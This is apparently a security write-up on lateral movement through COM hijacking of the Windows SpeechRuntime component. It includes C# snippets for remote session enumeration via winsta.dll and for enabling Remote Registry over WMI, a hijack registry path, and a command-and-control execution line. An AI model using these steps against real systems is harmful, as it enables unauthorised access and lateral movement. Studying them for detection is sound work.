- What: Lateral movement via SpeechRuntime component
- Impact: Threat actors may exploit Windows systems to move laterally
SpeechRuntime is a legitimate Windows component that supports Microsoft’s speech-related capabilities, including voice input and speech recognition features used across modern Windows experiences. The SpeechRuntime.exe binary is linked to the Microsoft speech framework. However, threat actors with elevated privileges can move laterally by executing code under the context of the user that has an interactive session on the target host. Playbook The tool SpeechRuntimeMove simulates the behaviour of lateral movement via the Windows feature, SpeechRuntime . The technique is classified as a Cross Session Activation attack since it abuses the session of another user via a COM object to execute code. It should be noted that the tool follows the same patterns of conducting lateral movement via Bitlocker . Therefore, the detection strategy is similar. On Windows environments the SpeechRuntime can be found within the System32 folder. C:\Windows\System32\Speech_OneCore\Common\ SpeechRuntime – Path Remote session enumeration is conducted via utilization of Microsoft undocumented APIs. These APIs are exported by the winsta.dll library. The DLL is associated with a binary that is part of the Windows ecosystem called qwinsta that has the ability to display information about remote desktop sessions. using System; using System.Data; using System.Runtime.InteropServices; namespace SpeechRuntimeMove { static class SessionEnum { [DllImport("winsta.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern IntPtr WinStationOpenServerW(string serverName); [DllImport("winsta.dll", SetLastError = true)] public static extern bool WinStationCloseServer(IntPtr hServer); [DllImport("winsta.dll", SetLastError = true)] public static extern bool WinStationEnumerateW(IntPtr hServer, out IntPtr ppSessionIds, out uint count); [DllImport("winsta.dll", SetLastError = true)] public static extern bool WinStationQueryInformationW(IntPtr hServer, uint sessionId, int infoClass, IntPtr pInfo, uint infoSize, out uint returnLength); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct SessionIdW { public uint SessionId; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 33)] public string WinStationName; public int State; } The table below summarizes the APIs used by the tool: API Function WinStationOpenServerW Open a handle to the specified server WinStationCloseServer Close the handle to the server WinStationEnumerateW Enumerate all sessions on the system WinStationQueryInformationW Retrieve information about a session COM Hijacking involves the manipulation of COM registration data, stored in the Windows registry to redirect COM object activation to attacker-controlled code. These are typically CLSIDs, AppIDs, ProgIDs or related keys such as InProcServer32. The service Remote Registry is disabled by default on Windows operating systems. The proof-of-concept attempts to change the status of the service from Disabled to Automatic remotely by conducting a connection via the Windows Management Instrumentation (WMI). static class RemoteRegistry { static void EnableRemoteRegistryViaWMI(string computerName, string username = null, string password = null) { try { ConnectionOptions options = new ConnectionOptions(); if (!string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(password)) { options.Username = username; options.Password = password; } ManagementScope scope = new ManagementScope( $"\\\\{computerName}\\root\\cimv2", options); scope.Connect(); // Get the RemoteRegistry service ObjectQuery query = new ObjectQuery("SELECT * FROM Win32_Service WHERE Name='RemoteRegistry'"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query); foreach (ManagementObject service in searcher.Get()) { // Change startup type to Automatic ManagementBaseObject inParams = service.GetMethodParameters("ChangeStartMode"); inParams["StartMode"] = "Automatic"; service.InvokeMethod("ChangeStartMode", inParams, null); // Start the service service.InvokeMethod("StartService", null); Console.WriteLine("[+] Remote Registry service enabled and started successfully!"); } } The CLSID {655D9BF9-3876-43D0-B6E8-C83C1224154C} is tied to SpeechRuntime.exe, part of the Windows Speech Runtime subsystem. When SpeechRuntime.exe is instantiated this COM class is loaded and therefore it is prone to COM Hijacking. The tool creates a registry entry to the CLSID {655D9BF9-3876-43D0-B6E8-C83C1224154C} keys and subkeys. string registryPath = $@"{sidString}\SOFTWARE\Classes\CLSID\{{655D9BF9-3876-43D0-B6E8-C83C1224154C}}\InProcServer32"; The SpeechRuntimeMove was built .NET and can be executed from Command-and-Control frameworks with the ability to load and execute assemblies in memory. The enumeration mode requires the IP address of the target host and via the utilization of the winsta.dll library as discussed above; sessions are enumerated in the console. dotnet inline-execute /home/kali/Downloads/SpeechRuntimeMove.exe mode=enum target=1...